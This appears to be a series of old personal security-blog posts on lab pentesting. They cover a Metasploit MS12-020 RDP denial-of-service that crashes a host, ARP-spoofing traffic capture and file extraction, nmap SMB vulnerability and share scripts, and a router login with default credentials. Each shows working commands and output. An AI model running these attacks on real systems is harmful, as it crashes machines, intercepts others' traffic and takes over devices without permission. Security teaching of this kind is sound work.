MS12-020 Metasploit Fun

25 03 2012

Metasploit contains a module to DoS Windows hosts with RDP enabled using the PoC code – patched in MS12-020

Well, it works 😀 – short & sweet….

The only known code in the wild is for DoS – so far no remote code execution – but one step generally leads to the other pretty quickly – so disable / patch / protect your RDP ASAP.

Now you see it:

root@bt:~/vpn/darknet# nmap 10.6.6.1 -p 3389

Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-03-25 17:51 EST
Nmap scan report for 10.6.6.1
Host is up (0.0035s latency).
PORT STATE SERVICE
3389/tcp open ms-term-serv

Nmap done: 1 IP address (1 host up) scanned in 0.37 seconds

64 bytes from 10.6.6.1: icmp_seq=99 ttl=127 time=2.90 ms
64 bytes from 10.6.6.1: icmp_seq=100 ttl=127 time=4.13 ms
64 bytes from 10.6.6.1: icmp_seq=101 ttl=127 time=2.85 ms

Now you dont:

root@bt:/opt/metasploit/msf3# ./msfconsole
msf > info auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf > use auxiliary/dos/windows/rdp/ms12_020_maxchannelids
msf auxiliary(ms12_020_maxchannelids) > show options
msf auxiliary(ms12_020_maxchannelids) > set RHOST 10.6.6.1
RHOST => 10.6.6.1
msf auxiliary(ms12_020_maxchannelids) > exploit

[*] 10.6.6.1:3389 – Sending MS12-020 Microsoft Remote Desktop Use-After-Free DoS
[*] 10.6.6.1:3389 – 210 bytes sent
[*] 10.6.6.1:3389 – Checking RDP status…
[+] 10.6.6.1:3389 seems down
[*] Auxiliary module execution completed
msf auxiliary(ms12_020_maxchannelids) >

From 172.16.0.1 icmp_seq=131 Destination Host Unreachable
From 172.16.0.1 icmp_seq=132 Destination Host Unreachable
From 172.16.0.1 icmp_seq=133 Destination Host Unreachable

w00t BSOD !! – DoS (Crashdump & Reboot)





When SIEM goes bad …

5 09 2011

Thats not an entirely true heading – it really was my fault …

A reminder to ensure you correctly scope your nmap / vuln scanning before you kick it off. I kicked off a network / vulnerability scan from OSSIM on my internal network – with a “slightly larger than I should have” scope and DOS’d myself ….. DOH !





PaulDotCom: Archives : Zen and The Art Of An Internal Penetration Testing Program

5 09 2010

Ok Ok …. I know im 2 years late to post this as a “new” presentation – but there is some interesting & valuable info in here about pentesting your internal network. Its starts out pretty high level, but is a nice rounded overview on the reasons, methods & tools that you can use to penetration test your network. Hosted by CoreSecurity & presented by Paul Asadoorian from pauldotcom.

Part1:

• Phase I – Target identification
• Phase II – Detect OS & Services
• Phase III – Identify Vulnerabilities

Part2:

• Phase IV – Exploitation
• Phase V – Post-Exploitation
• Phase VI – Reporting

Part 1 has some great grounding information in penetration testing, examples in here for several tools (nmap, nessus, nbtscan etc) and also ways to link them together, eg, run an nmap scan across the network, identifying windows hosts listening on 445, use the nmap scripting engine to determine if they are vulnerable – and use that list of hosts in nessus or metasploit etc.

Part 2 contains more information on why should you exploit a machine, how to exploit etc, using both Metasploit & Core Impact. Some useful info on tasks to perform once you have compromised a host – automated info gathering, looking for sensitive data, gathering screenshots, video, sound recordings etc etc. This segment ends with some good tips on how to report this information to management, then some Q&A.

there is some great info in here, its worth a look.

Part 1:

This webcast is Part I of a two part series I am doing in collaboration with Core Security Technologies. The presentation is full of tips, tricks, process, and practical knowledge about performing penetration testing within your own organization. Whether you are a third-party doing penetration tests or want to penetration test your internal network, this webcast is for you! In Part I I cover such topics as finding rogue access points, processes for creating a successful penetration testing program, identifying targets, and more! Information and resources are below:

via PaulDotCom: Archives.

===OR===

Zen and the Art of an Internal Penetration Testing Program Part I with Paul Asadoorian
Recording date: Wednesday, November 19, 2008 3:00 pm Eastern Standard Time (New York, GMT-05:00)
Panelist Information: Paul Asadoorian of PaulDotCom Security Weekly
Duration: 1 hour 9 minutes
Description:

Please join Core Security and Paul Asadoorian, founder of PaulDotCom Security Weekly, for a live webcast: “Zen and the Art of Maintaining an Internal Penetration Testing Program.”

During this webcast, Asadoorian will offer tips on successfully integrating penetration testing into your vulnerability management program. You’ll learn:

* How to determine if internal penetration testing is right for your organization
* What questions you should ask when planning a pen testing initiative
* How you can best pitch testing to other departments and gain permission from management
* What types of tests to run and how to address the process of dealing with compromised devices
* Which tips and tricks can help you carry out faster, more effective testing

Whether you’re considering rolling out an internal penetration testing program or need a refresher of best practices for your current testing initiatives, this webcast is sure to be time well-spent.

via Core Security: Recorded webcast

Part 2:

During the webcast, Paul Asadoorian of PaulDotCom Security Weekly will discuss best practices for automating your security testing initiatives. You’ll learn tips and tricks for tying vulnerability scanning, penetration testing and reporting into an efficient, repeatable testing process. Paul will demonstrate techniques for vulnerability identification and exploitation, including:

• Importing Nmap data into Nessus
• Using Nessus, and running nessuscmd to automate vulnerability scanning
• Importing results into Metasploit
• Running msfcli to automate penetration testing
• Importing Nmap & Nessus results into CORE IMPACT Pro
• Using Python to script tasks on compromised hosts with CORE IMPACT Pro

You’ll also get answers to questions such as, “How do I integrate password cracking into my testing?” and “What should I do once a host is compromised during a test?”

via Core Security: Recorded webcast





mitm packet capturing & basic analysis

17 06 2010

We all know the difference between a hub & a switch (if not, this is not the blog for you). As most networks these days will be switched, its no longer a case of plug in & dump packets. So here is the easy way to capture traffic from the network for investigation later. This works with wired or wireless. This is a combination of skillz in my SSLSTRIP post and the Image Extraction post.

Simply put, we use arpspoof to convince the gateway that we are the target, and the target that we are the gateway.

Target selection (our IP is 172.16.189.136, default gateway is 172.16.189.2)

root@bt:~# ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:ab:b2:2c
          inet addr:172.16.189.136  Bcast:172.16.189.255  Mask:255.255.255.0
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:22 errors:0 dropped:0 overruns:0 frame:0
          TX packets:10 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:3682 (3.6 KB)  TX bytes:1753 (1.7 KB)
          Interrupt:19 Base address:0x2000

root@bt:~# netstat -nr
Kernel IP routing table
Destination     Gateway         Genmask         Flags   MSS Window  irtt Iface
172.16.189.0    0.0.0.0         255.255.255.0   U         0 0          0 eth0
0.0.0.0         172.16.189.2    0.0.0.0         UG        0 0          0 eth0

root@bt:~# nmap -sP 172.16.189.1-255

Starting Nmap 5.21 ( http://nmap.org ) at 2010-06-17 21:10 EST
Nmap scan report for 172.16.189.1
Host is up (0.00018s latency).
MAC Address: 00:50:56:C0:00:08 (VMware)
Nmap scan report for 172.16.189.2
Host is up (0.0015s latency).
MAC Address: 00:50:56:E5:F7:F0 (VMware)
Nmap scan report for 172.16.189.135
Host is up (0.00076s latency).
MAC Address: 00:0C:29:09:04:71 (VMware)
Nmap scan report for 172.16.189.136
Host is up.
Nmap scan report for 172.16.189.254
Host is up (0.00050s latency).
MAC Address: 00:50:56:F8:EC:20 (VMware)
Nmap done: 255 IP addresses (5 hosts up) scanned in 4.36 seconds
root@bt:~#

So we have a couple of other hosts there, we will use 172.16.189.135.

We want to get traffic from 172.16.189.135 to the gateway (internet) sent to us, and traffic from the gateway back to 172.16.189.135 also sent to us, we do that with the following arpspoof commands.

Windows host before arpspoof:

C:\Documents and Settings\Administrator>arp -a

Interface: 172.16.189.135 --- 0x2
  Internet Address      Physical Address      Type
  172.16.189.2          00-50-56-e5-f7-f0     dynamic

arpspoof commands to run on our backtrack box, not forgetting to enable ip forwarding

root@bt:~# echo 1 > /proc/sys/net/ipv4/ip_forward

root@bt:~# arpspoof -i eth0 -t 172.16.189.135 172.16.189.2
0:c:29:ab:b2:2c 0:c:29:9:4:71 0806 42: arp reply 172.16.189.2 is-at 0:c:29:ab:b2:2c
0:c:29:ab:b2:2c 0:c:29:9:4:71 0806 42: arp reply 172.16.189.2 is-at 0:c:29:ab:b2:2c

root@bt:~# arpspoof -i eth0 -t 172.16.189.2 172.16.189.135
0:c:29:ab:b2:2c 0:50:56:e5:f7:f0 0806 42: arp reply 172.16.189.135 is-at 0:c:29:ab:b2:2c
0:c:29:ab:b2:2c 0:50:56:e5:f7:f0 0806 42: arp reply 172.16.189.135 is-at 0:c:29:ab:b2:2c

and our windows box ?

C:\Documents and Settings\Administrator>arp -a

Interface: 172.16.189.135 --- 0x2
  Internet Address      Physical Address      Type
  172.16.189.2          00-0c-29-ab-b2-2c     dynamic
  172.16.189.136        00-0c-29-ab-b2-2c     dynamic

and of course, kick off your tcpdump session (without the arpspoof traffic)

root@bt:~# tcpdump -s0 -i eth0 not arp -w eth0capture
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 65535 bytes

so, we have a shiny new file, full of data goodness – what to do with it. There are several ways you can look at the data:
urlsnarf – prints http requests
driftnet – extracts files from capture
tcpxtract – another extractor from captures **Needs installation, but it got me the best results**

Setup the apps to listen on the local interface in separate windows, then feed your packets into that interface with tcpreplay.

root@bt:~# urlsnarf -i lo
urlsnarf: listening on lo [tcp port 80 or port 8080 or port 3128]

root@bt:~# driftnet -i lo
driftnet: saving `/tmp/driftnet-5VbG3g/driftnet-4c1a110b643c9869.jpeg' as `driftnet-0.jpeg'
driftnet: saving `/tmp/driftnet-5VbG3g/driftnet-4c1a110b643c9869.jpeg' as `driftnet-1.jpeg'

root@bt:~# tcpreplay -i lo eth0capture-s0
sending out lo
processing file: eth0capture-s0
Actual: 18412 packets (15604605 bytes) sent in 105.88 seconds
Rated: 148490.3 bps, 1.13 Mbps/sec, 175.20 pps

Statistics for network device: lo
        Attempted packets:         18412
        Successful packets:        18412
        Failed packets:            0
        Retried packets (ENOBUFS): 0
        Retried packets (EAGAIN):  0


root@bt:~# apt-get install tcpxtract
root@bt:~# mkdir tcpxtract
root@bt:~# tcpxtract -f eth0capture-s0 -o tcpxtract/
Found file of type "html" in session [207.46.170.10:20480 -> 172.16.189.135:7429], exporting to tcpxtract/00000000.html
Found file of type "html" in session [207.46.170.10:20480 -> 172.16.189.135:7429], exporting to tcpxtract/00000001.html

There we go, we extracted some info from the packet capture. Next time I will cover a much nicer util to get our files out of the capture file.





nmap scripting engine

10 06 2010

An interesting tidbit of information that I was recently shown – figured it was too good not to share.

Quoted from “http://nmap.org/book/nse.html

“The Nmap Scripting Engine (NSE) is one of Nmap’s most powerful and flexible features. It allows users to write (and share) simple scripts to automate a wide variety of networking tasks. Those scripts are then executed in parallel with the speed and efficiency you expect from Nmap. Users can rely on the growing and diverse set of scripts distributed with Nmap, or write their own to meet custom needs.”

Details of the scripts are here: http://nmap.org/nsedoc/

example uses:

banner grabbing
http://nmap.org/nsedoc/scripts/banner.html
Download: http://nmap.org/svn/scripts/banner.nse

User Summary

A simple banner grabber which connects to an open TCP port and prints out anything sent by the listening service within five seconds.

The banner will be truncated to fit into a single line, but an extra line may be printed for every increase in the level of verbosity requested on the command line.
Example Usage

nmap -sV –script=banner <target>

Script Output

21/tcp open ftp
|_ banner: 220 FTP version 1.0\x0D\x0A

smb-check-vulns
http://nmap.org/nsedoc/scripts/smb-check-vulns.html
Download: http://nmap.org/svn/scripts/smb-check-vulns.nse

User Summary

Check for vulnerabilities:

* MS08-067, a Windows RPC vulnerability
* Conficker, an infection by the Conficker worm
* Unnamed regsvc DoS, a denial-of-service vulnerability I accidentically found in Windows 2000
* SMBv2 exploit (CVE-2009-3103, Microsoft Security Advisory 975497)

WARNING: These checks are dangerous, and are very likely to bring down a server. These should not be run in a production environment unless you (and, more importantly, the business) understand the risks!

Example Usage

nmap –script smb-check-vulns.nse -p445 <host>
sudo nmap -sU -sS –script smb-check-vulns.nse -p U:137,T:139 <host>

Script Output

Host script results:
| smb-check-vulns:
| | MS08-067: NOT VULNERABLE
| | Conficker: Likely CLEAN
| | regsvc DoS: NOT VULNERABLE
|_ |_ SMBv2 DoS (CVE-2009-3103): NOT VULNERABLE

smb-enum-shares
http://nmap.org/nsedoc/scripts/smb-enum-shares.html
Download: http://nmap.org/svn/scripts/smb-enum-shares.nse

User Summary

Attempts to list shares using the srvsvc.NetShareEnumAll MSRPC function and retrieve more information about them using srvsvc.NetShareGetInfo. If access to those functions is denied, a list of common share names are checked.

Example Usage

nmap –script smb-enum-shares.nse -p445 <host>
sudo nmap -sU -sS –script smb-enum-shares.nse -p U:137,T:139 <host>

Script Output

Host script results:
| smb-enum-shares:
| | ADMIN$
| | | Type: STYPE_DISKTREE_HIDDEN
| | | Comment: Remote Admin
| | | Users: 0, Max: <unlimited>
| | | Path: C:\WINNT
| | | Anonymous access: <none>
| | |_ Current user (‘administrator’) access: READ/WRITE
| | C$
| | | Type: STYPE_DISKTREE_HIDDEN
| | | Comment: Default share
| | | Users: 0, Max: <unlimited>
| | | Path: C:\
| | | Anonymous access: <none>
| | |_ Current user (‘administrator’) access: READ
| | IPC$
| | | Type: STYPE_IPC_HIDDEN
| | | Comment: Remote IPC
| | | Users: 1, Max: <unlimited>
| | | Path:
| | | Anonymous access: READ <not a file share>
|_ |_ |_ Current user (‘administrator’) access: READ <not a file share>





where are we

9 06 2010

Ok, so first things first – of course you didnt just connect to your neighbors open wifi, you had permission from the owner, or you were playing with your own environment (as this may be illegal activity in some parts – YOU HAVE BEEN WARNED). For me, this is all in my own lab environment – its big, complicated & takes up heaps of power – but thats for later blogging.

Right, where were we – oh yeah, we connected to the NETGEAR access point & got a DHCP lease – lets see what’s available to us.

We dont want to make too much noise just yet, so a little delicate probing is in order.

root@bt:~# ping -c 1 192.168.0.1
PING 192.168.0.1 (192.168.0.1) 56(84) bytes of data.
64 bytes from 192.168.0.1: icmp_seq=0 ttl=64 time=0.914 ms

--- 192.168.0.1 ping statistics ---
1 packets transmitted, 1 packets received, 0% packet loss
root@bt:~#
root@bt:~#
root@bt:~# nmap -p 80 192.168.0.1

Starting Nmap 4.53 ( http://insecure.org ) at 2010-06-09 16:40 EST
Interesting ports on 192.168.0.1:
PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 0.099 seconds

right – so its reachable & has port 80 open. If you can stand being a little noisier, nmap can do better than that for port 80

root@bt:~# nmap -sV -p 80 192.168.0.1

Starting Nmap 4.53 ( http://insecure.org ) at 2010-06-09 16:43 EST
Interesting ports on 192.168.0.1:
PORT   STATE SERVICE VERSION
80/tcp open  http    Apache httpd 2.2.11

Service detection performed. Please report any incorrect results at http://insecure.org/nmap/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.226 seconds

so its running an apache web server (dont leave comments about netgear’s not running apache – this is a doctored entry – made up from bits & pieces).
So we can fire up the web browser & head over to http://192.168.0.1 – what this … a password prompt …..

as the default SSID is in use & there is no security – chances are the default password will work here admin:password – BINGO !! we own the router